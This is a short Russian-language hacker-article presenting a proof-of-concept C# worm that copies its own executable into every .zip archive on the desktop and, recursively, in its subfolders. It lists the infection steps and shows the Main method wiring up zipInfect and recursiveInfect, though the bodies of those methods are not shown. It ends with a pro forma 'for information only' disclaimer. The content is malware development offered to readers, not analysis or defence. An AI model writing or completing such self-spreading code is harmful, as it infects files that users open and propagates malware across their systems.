Привет, хакеры, в этой статье собираюсь показать вам Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы, заражая их.
Начнём.
Логика нашего червя такова:
- Ищем все zip файлы в папке
- Добавляем своё отродье в архив
- Повторяем тоже самое со всеми файлами. (рекурсией)
Первым делом необходимо создать новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:
И создаём рекурсивный метод, который будет заражать все подпапки:
Переходим к Main'у.
Тут создаём две переменные: путь до исполняемого файла, и путь до рабочего стола:
string currentFilePath = Assembly.GetExecutingAssembly().Location,
desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
После этого нужно вызвать методы:
zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе
recursiveInfect(desktopPath, currentFilePath); // И в подпапках:
И теперь тестируем:
Как видим, в архивах появился наш файлик. На этом все.
Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.